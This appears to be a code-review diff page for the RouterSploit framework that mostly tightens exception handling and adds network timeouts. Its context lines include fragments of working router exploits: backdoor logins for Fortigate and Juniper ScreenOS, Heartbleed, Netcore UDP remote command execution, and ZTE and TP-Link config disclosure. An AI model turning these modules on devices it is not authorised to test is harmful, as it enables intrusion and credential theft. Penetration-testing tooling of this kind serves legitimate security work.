.
sendto
(
"BYEDBG"
,
(
self
.
target
,
39889
))
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
Exception
:
pass
pass
return
False
# target is not vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/fortinet/fortigate_os_backdoor.py
View file @
42263a70
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
except
Exception
:
print_error
(
"Exploit Failed - SSH Service is down"
)
print_error
(
"Exploit Failed - SSH Service is down"
)
return
return
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
except
paramiko
.
ssh_exception
.
AuthenticationException
:
except
paramiko
.
ssh_exception
.
AuthenticationException
:
pass
pass
except
:
except
Exception
:
print_status
(
"Error with Existing Session. Wait few minutes."
)
print_status
(
"Error with Existing Session. Wait few minutes."
)
return
return
...
@@ -64,7 +64,7 @@ class Exploit(exploits.Exploit):
...
@@ -64,7 +64,7 @@ class Exploit(exploits.Exploit):
print_success
(
"Exploit succeeded"
)
print_success
(
"Exploit succeeded"
)
ssh_interactive
(
client
)
ssh_interactive
(
client
)
except
:
except
Exception
:
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
return
return
...
@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit):
...
@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit):
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
trans
=
client
.
get_transport
()
trans
=
client
.
get_transport
()
...
@@ -85,12 +85,12 @@ class Exploit(exploits.Exploit):
...
@@ -85,12 +85,12 @@ class Exploit(exploits.Exploit):
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
except
paramiko
.
ssh_exception
.
AuthenticationException
:
except
paramiko
.
ssh_exception
.
AuthenticationException
:
pass
pass
except
:
except
Exception
:
return
None
# could not verify
return
None
# could not verify
try
:
try
:
trans
.
auth_interactive
(
username
=
'Fortimanager_Access'
,
handler
=
self
.
custom_handler
)
trans
.
auth_interactive
(
username
=
'Fortimanager_Access'
,
handler
=
self
.
custom_handler
)
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
True
# target is vulnerable
return
True
# target is vulnerable
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/huawei/hg520_info_dislosure.py
View file @
42263a70
...
@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit):
...
@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
print_status
(
"Waiting for response"
)
print_status
(
"Waiting for response"
)
response
=
sock
.
recv
(
1024
)
response
=
sock
.
recv
(
1024
)
except
:
except
Exception
:
print_error
(
"Exploit failed - device seems to be not vulnerable"
)
print_error
(
"Exploit failed - device seems to be not vulnerable"
)
return
return
...
@@ -95,7 +95,7 @@ class Exploit(exploits.Exploit):
...
@@ -95,7 +95,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
response
=
sock
.
recv
(
1024
)
response
=
sock
.
recv
(
1024
)
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
len
(
response
):
if
len
(
response
):
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/juniper/screenos_backdoor.py
View file @
42263a70
...
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
...
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
except
:
except
Exception
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
print_success
(
"SSH - Successful authentication"
)
print_success
(
"SSH - Successful authentication"
)
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
...
@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
return
return
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
...
@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
tn
.
interact
()
tn
.
interact
()
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection Error"
)
print_error
(
"Connection Error"
)
return
return
...
@@ -83,13 +83,13 @@ class Exploit(exploits.Exploit):
...
@@ -83,13 +83,13 @@ class Exploit(exploits.Exploit):
try
:
try
:
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
except
:
except
Exception
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
return
True
return
True
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
@@ -107,7 +107,7 @@ class Exploit(exploits.Exploit):
...
@@ -107,7 +107,7 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
return
True
return
True
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
return
False
return
False
return
False
return
False
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/multi/heartbleed.py
View file @
42263a70
...
@@ -132,9 +132,11 @@ class Exploit(exploits.Exploit):
...
@@ -132,9 +132,11 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
try
:
try
:
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
10.0
)
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
s
.
send
(
self
.
h2bin
(
self
.
hello
))
s
.
send
(
self
.
h2bin
(
self
.
hello
))
except
:
except
Exception
:
print_error
(
"Connection failed: {}:{}"
.
format
(
self
.
target
,
self
.
port
))
print_error
(
"Connection failed: {}:{}"
.
format
(
self
.
target
,
self
.
port
))
return
return
...
@@ -157,6 +159,8 @@ class Exploit(exploits.Exploit):
...
@@ -157,6 +159,8 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
def
check
(
self
):
try
:
try
:
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
10.0
)
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
s
.
send
(
self
.
h2bin
(
self
.
hello
))
s
.
send
(
self
.
h2bin
(
self
.
hello
))
except
socket
.
error
:
except
socket
.
error
:
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/multi/ssh_auth_keys.py
View file @
42263a70
...
@@ -252,7 +252,7 @@ class Exploit(exploits.Exploit):
...
@@ -252,7 +252,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
valid
[
'user'
],
pkey
=
pkey
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
valid
[
'user'
],
pkey
=
pkey
)
except
:
except
Exception
:
ssh
.
close
()
ssh
.
close
()
print_error
(
"Device seems to be not vulnerable"
)
print_error
(
"Device seems to be not vulnerable"
)
else
:
else
:
...
@@ -276,7 +276,7 @@ class Exploit(exploits.Exploit):
...
@@ -276,7 +276,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
key
[
'user'
],
pkey
=
pkey
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
key
[
'user'
],
pkey
=
pkey
)
except
:
except
Exception
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
self
.
valid
=
key
self
.
valid
=
key
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/netcore/udp_53413_rce.py
View file @
42263a70
...
@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit):
...
@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit):
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
response
=
sock
.
recv
(
1024
)
response
=
sock
.
recv
(
1024
)
return
response
[
8
:]
return
response
[
8
:]
except
:
except
Exception
:
pass
pass
return
""
return
""
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
...
@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
response
=
sock
.
recv
(
1024
)
response
=
sock
.
recv
(
1024
)
except
:
except
Exception
:
pass
pass
if
response
.
endswith
(
"
\xD0\xA5
Login:"
):
if
response
.
endswith
(
"
\xD0\xA5
Login:"
):
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/technicolor/tc7200_password_disclosure_v2.py
View file @
42263a70
...
@@ -71,9 +71,9 @@ class Exploit(exploits.Exploit):
...
@@ -71,9 +71,9 @@ class Exploit(exploits.Exploit):
@staticmethod
@staticmethod
def
decrypt_backup
(
backup
):
def
decrypt_backup
(
backup
):
key
=
binascii
.
unhexlify
(
'000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F'
)
key
=
binascii
.
unhexlify
(
'000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F'
)
l
=
(
len
(
backup
)
/
16
)
*
16
l
ength
=
(
len
(
backup
)
/
16
)
*
16
cipher
=
AES
.
new
(
key
,
AES
.
MODE_ECB
,
'
\x00
'
*
16
)
cipher
=
AES
.
new
(
key
,
AES
.
MODE_ECB
,
'
\x00
'
*
16
)
plain
=
cipher
.
decrypt
(
backup
[
0
:
l
])
plain
=
cipher
.
decrypt
(
backup
[
0
:
l
ength
])
return
plain
return
plain
@mute
@mute
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/technicolor/tg784_authbypass.py
View file @
42263a70
...
@@ -104,7 +104,7 @@ class Exploit(exploits.Exploit):
...
@@ -104,7 +104,7 @@ class Exploit(exploits.Exploit):
tn
.
write
(
self
.
remote_pass
+
'
\r\n
'
)
tn
.
write
(
self
.
remote_pass
+
'
\r\n
'
)
response
=
tn
.
read_until
(
"Login not allowed"
,
10
)
response
=
tn
.
read_until
(
"Login not allowed"
,
10
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
return
""
return
""
return
response
return
response
...
@@ -115,7 +115,7 @@ class Exploit(exploits.Exploit):
...
@@ -115,7 +115,7 @@ class Exploit(exploits.Exploit):
s
.
settimeout
(
3
)
s
.
settimeout
(
3
)
s
.
connect
((
self
.
target
,
port
))
s
.
connect
((
self
.
target
,
port
))
return
True
return
True
except
:
except
Exception
:
return
False
return
False
finally
:
finally
:
s
.
close
()
s
.
close
()
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure.py
View file @
42263a70
...
@@ -65,9 +65,9 @@ class Exploit(exploits.Exploit):
...
@@ -65,9 +65,9 @@ class Exploit(exploits.Exploit):
return
passwd
return
passwd
def
parse
(
self
,
data
):
def
parse
(
self
,
data
):
l
=
data
.
split
(
'
\r\n
'
)
l
ength
=
data
.
split
(
'
\r\n
'
)
del
l
[
0
]
del
l
ength
[
0
]
for
item
in
l
:
for
item
in
l
ength
:
try
:
try
:
if
'authKey'
in
item
:
if
'authKey'
in
item
:
authKey
=
item
.
split
()[
1
]
authKey
=
item
.
split
()[
1
]
...
@@ -75,7 +75,7 @@ class Exploit(exploits.Exploit):
...
@@ -75,7 +75,7 @@ class Exploit(exploits.Exploit):
cPskSecret
=
item
.
split
()[
1
]
cPskSecret
=
item
.
split
()[
1
]
if
'cUsrPIN'
in
item
:
if
'cUsrPIN'
in
item
:
cUsrPIN
=
item
.
split
()[
1
]
cUsrPIN
=
item
.
split
()[
1
]
except
:
except
Exception
:
pass
pass
return
authKey
,
cPskSecret
,
cUsrPIN
return
authKey
,
cPskSecret
,
cUsrPIN
...
...
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/zte/f609_config_disclosure.py
View file @
42263a70
...
@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
...
@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
try
:
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
...
@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
...
@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
else
:
else
:
if
"<DM name="
in
res
:
if
"<DM name="
in
res
:
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/zte/f660_config_disclosure.py
View file @
42263a70
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
...
@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
try
:
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -57,13 +57,13 @@ class Exploit(exploits.Exploit):
...
@@ -57,13 +57,13 @@ class Exploit(exploits.Exploit):
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
23
))
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
23
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
...
@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"<DM name="
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"<DM name="
])):
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/zte/f6xx_default_root.py
View file @
42263a70
...
@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
...
@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
try
:
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
...
@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
print_error
(
"Exploit failed"
)
print_error
(
"Exploit failed"
)
tn
.
close
()
tn
.
close
()
except
:
except
Exception
:
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
,
timeout
=
10
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
...
@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
Exception
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/routers/zte/zxv10_rce.py
View file @
42263a70
...
@@ -82,7 +82,7 @@ class Exploit(exploits.Exploit):
...
@@ -82,7 +82,7 @@ class Exploit(exploits.Exploit):
res
=
res1
+
res2
res
=
res1
+
res2
if
res
[
0
]
!=
"</textarea>"
:
if
res
[
0
]
!=
"</textarea>"
:
return
res
[
0
]
return
res
[
0
]
except
:
except
Exception
:
pass
pass
return
""
return
""
...
@@ -92,7 +92,7 @@ class Exploit(exploits.Exploit):
...
@@ -92,7 +92,7 @@ class Exploit(exploits.Exploit):
try
:
try
:
response
=
http_request
(
"GET"
,
url
,
self
.
session
)
response
=
http_request
(
"GET"
,
url
,
self
.
session
)
except
:
except
Exception
:
return
return
# Check for Model Name
# Check for Model Name
...
@@ -140,7 +140,7 @@ class Exploit(exploits.Exploit):
...
@@ -140,7 +140,7 @@ class Exploit(exploits.Exploit):
if
"Username"
not
in
response
.
text
and
"Password"
not
in
response
.
text
:
if
"Username"
not
in
response
.
text
and
"Password"
not
in
response
.
text
:
print_success
(
"Successful authentication"
)
print_success
(
"Successful authentication"
)
return
True
return
True
except
:
except
Exception
:
pass
pass
return
False
return
False
...
...
This diff is collapsed.
Click to expand it.
routersploit/shell.py
View file @
42263a70
...
@@ -92,7 +92,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params):
...
@@ -92,7 +92,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params):
if
option
[
0
]
==
c
[
1
]:
if
option
[
0
]
==
c
[
1
]:
try
:
try
:
setattr
(
payload
,
c
[
1
],
c
[
2
])
setattr
(
payload
,
c
[
1
],
c
[
2
])
except
:
except
Exception
:
print_error
(
"Invalid value for {}"
.
format
(
c
[
1
]))
print_error
(
"Invalid value for {}"
.
format
(
c
[
1
]))
break
break
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment